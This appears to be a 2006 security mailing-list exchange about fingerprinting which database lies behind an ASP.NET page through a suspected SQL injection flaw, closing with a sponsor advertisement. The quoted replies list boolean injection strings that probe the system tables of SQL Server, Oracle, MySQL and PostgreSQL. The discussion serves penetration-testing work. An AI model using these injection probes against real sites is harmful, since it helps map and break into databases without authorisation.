Re: SQL injection (or not?)

[rr () neo dtcom lv]

None of these "exists" kind of queries work (not MSSQL,Oracle,MySQL,PostgreSQL).

I can tell a few more fingerprints to make it more interesting :)

queries are case sensitive (anyone remember sql queries being case sensitive?)

script.aspx?Parameter=' and 'a'='a
normal page

script.aspx?Parameter=' AND 'a'='a
error, invalid query

for now, all I can think of is some kind of filtering done by the script, and I
hope to get source code of that script soon

rr

> On 8/10/06, Tonnerre Lombard <tonnerre.lombard () sygroup ch> wrote:
> Salut,
>
> On Wed, 2006-08-09 at 12:01 +0200, Isidro Ramon Labrador Rodriguez
> wrote:
> > Parameter=[valid value]' and exists(select * from sysobjects) and 'a'='a
> >
> > If it returns a valid value the database is SQL Server
> >
> >
> > Parameter=[valid value]' and exists(select * from user_tables) and
> > 'a'='a
> >
> > If it returns a valid value the database is Oracle
> >
> >
> > Parameter=[valid value]' and exists(select * from mysql.user) and 'a'='a
> >
> >
> > If it returns a valid value the database is MySQL
>
> Parameter=[valid value]' and exists(select * from pg_shadow) and 'a'='a
>
> should tell you it's PostgreSQL.
>
>                               Tonnerre
> --
> SyGroup GmbH
> Tonnerre Lombard
>
> Loesungen mit System
> Tel:+41 61 333 80 33    Roeschenzerstrasse 9
> Fax:+41 61 383 14 67    4153 Reinach BL
> Web:www.sygroup.ch      tonnerre.lombard () sygroup ch


------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------